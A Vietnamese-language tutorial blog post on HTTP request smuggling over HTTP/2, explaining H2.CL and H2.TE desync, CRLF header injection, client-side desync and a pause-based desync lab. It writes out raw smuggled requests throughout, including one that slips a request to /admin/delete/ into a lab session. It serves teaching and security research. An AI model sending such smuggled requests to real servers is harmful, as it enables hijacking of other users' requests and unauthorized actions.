HTTP request smuggling với HTTP/2.0

  1. 1. Lời nói đầu:
    1. 1.1. HTTP request smuggling với HTTP/2.0
      1. 1.1.1. HTTP/2 downgrading
      2. 1.1.2. H2.CL Desync:
      3. 1.1.3. H2.TE
        1. 1.1.3.1. H2.TE Desync - Máy chủ Front-end downgrade H2 thành H1 và không xem xét loại bỏ các trường liên quan đến connection-specific header fields
        2. 1.1.3.2. H2.TE via Request Header Injection
      4. 1.1.4. HTTP request tunnelling
    2. 1.2. Client-side Desync
    3. 1.3. Pause-based desync

Lời nói đầu:

Bài viết trước mình đã nói về khái niệm cơ bản của HRS và một số dạng cơ bản với HTTP/1.1. Bài viết này mình sẽ đi vào HRS với HTTP/2.0, nó khá phức tạp hơn so với HTTP/1.1 tuy nhiên cũng không khó lắm đâu ^^. Cùng đi vào bài nhé~

HTTP request smuggling với HTTP/2.0

Tham khảo: https://portswigger.net/research/http2

HTTP/2 downgrading

Nguồn gốc chính của lỗ hỏng này là front-end server sử dụng giao thức HTTP/2 để giao tiếp với máy khách trong khi đó nó lại dùng HTTP/1.1 để giao tiếp với back-end server.

image

Khi đó user có thể chèn thêm các phần độc hại vào header mà hợp lệ với HTTP/2, tuy nhiên nó lại được phân tích ở máy chủ back-end với giao thức HTTP/1.1, khi đó lỗi HRS sẽ xảy ra.

Front-end HTTP/2 server thường sử dụng message length có sẵn trong các data frames gửi đi theo giao thức này. Trong khi để Backend hiểu được thì cần downgrade xuống HTTP/1 bao gồm 2 loại là TE và CL dẫn đến lỗi H2-TE và H2-CL.

H2.CL Desync:

Theo HTTP/2 RFC, ta có độ dài ở trong mỗi frame do đó tiêu đề Content-length là không cần thiết, tuy nhiên vẫn có thể đặt Content-length trong header.

Khi user gửi request đến front-end server có chứa trường Content-Length, front-end server có thể sẽ chấp nhận trường này dù độ dài không đúng. Sau đó nó sẽ hạ cấp request từ HTTP/2.0 xuống HTTP/1.1 và giữ nguyên trường Content-Length, tại back-end server nó có phân tích trường Content-Length với giá trị mà user cho vào, bây giờ user có thể chèn thêm các phần độc hại và một giá trị Content-Length không phù hợp với server để trigger HRS.

Ví dụ:

1
2
3
4
5
6
7
:method POST
:path /
:authority example.com
content-length 4
aaaaGET /abc HTTP/1.1
Host: example.com
Foo: Bar

Sau khi hạ cấp nó sẽ tạo thành yêu cầu như sau:

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: example.com
Content-Length: 4

aaaaGET /abc HTTP/1.1
Host: example.com
Foo: Bar

Sau khi front-end server gửi yêu cầu đến back-end server phần còn lại sẽ được xem như là của yêu cầu mới, khi một người dùng khác gửi yêu cầu đến cùng thời điểm, phần còn lại sẽ được gắn vào đầu của yêu cầu mới và lỗi HRS được kích hoạt.

1
2
3
4
5
POST / HTTP/1.1
Host: example.com
Content-Length: 4

aaaa

Trả về 200 OK
Yêu cầu của nạn nhân sẽ trở thành yêu cầu sau:

1
2
3
4
GET /abc HTTP/1.1
Host: example.com
Foo: BarGET / HTTP/1.1
Host: example.com

Trả về 404 Not Found

H2.TE

H2.TE Desync - Máy chủ Front-end downgrade H2 thành H1 và không xem xét loại bỏ các trường liên quan đến connection-specific header fields

Request gửi đến FE server:

:method POST
:path /identitfy/XUI
:authority id.b2b.oath.com
transfer-encoding chunked
1
2
3
4
5
6
7
0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

FE downgrade mà không tuân thủ việc loại bỏ transfer-encoding:

1
2
3
4
5
6
7
8
9
10
11
12
POST /identity/XUI HTTP/1.1
Host: id.b2b.oath.com
Content-Length: 66
Transfer-Encoding: chunked

0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

Phía server chọn transfer encoding và H2.TE xảy ra, tương tự như CL.TE.

Bây giờ request sẽ trở thành:

  • Request 1
    1
    2
    3
    4
    5
    6
    POST /identity/XUI HTTP/1.1
    Host: id.b2b.oath.com
    Content-Length: 66
    Transfer-Encoding: chunked

    0
  • Request 2
    1
    2
    3
    4
    5
    GET /oops HTTP/1.1
    Host: psres.net
    Content-Length: 10

    x=

H2.TE via Request Header Injection

Request gửi đến FE server:

:method POST
:path /
:authority start.mozilla.org
foo b\r\n
transfer-encoding: chunked
1
2
3
4
5
6
7
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

Sau khi FE downgrade, \r\n trigger header injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 71\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

Bây giờ bài toán lại trở về H2.TE

HTTP request tunnelling

Client-side Desync

Tham khảo: https://www.youtube.com/watch?v=KN8WF1q04no

Đôi khi server sẽ trả về 2 response với cùng một request nếu Connection là keep-alive và gửi chung 2 request trong 1 request.

image

Để server phân biệt được khi nào 2 request, khi nào thì chỉ là 1 request và phần sau là phần body thì ta cần thêm giá trị content-length.

Tuy nhiên một vài server sẽ không mong đợi Content-Length và sẽ mặc định là 0. Khi này server sẽ nghĩ đó là 2 request dù đó là POST request như sau:

image

Và 2 response sẽ được trả về.

Pause-based desync

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /resources HTTP/1.1
Host: 0a09000d030187f382ab5b5f001b002c.web-security-academy.net
Cookie: session=WPmZElZUBulQFtkztzMyvYUcW7cnDwxz
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Length: 53
Content-Type: x-www-form-urlencoded

csrf=B2qufiNeJo9Hsq32pJFLGOZio9bCgkyn&username=carlos

image
image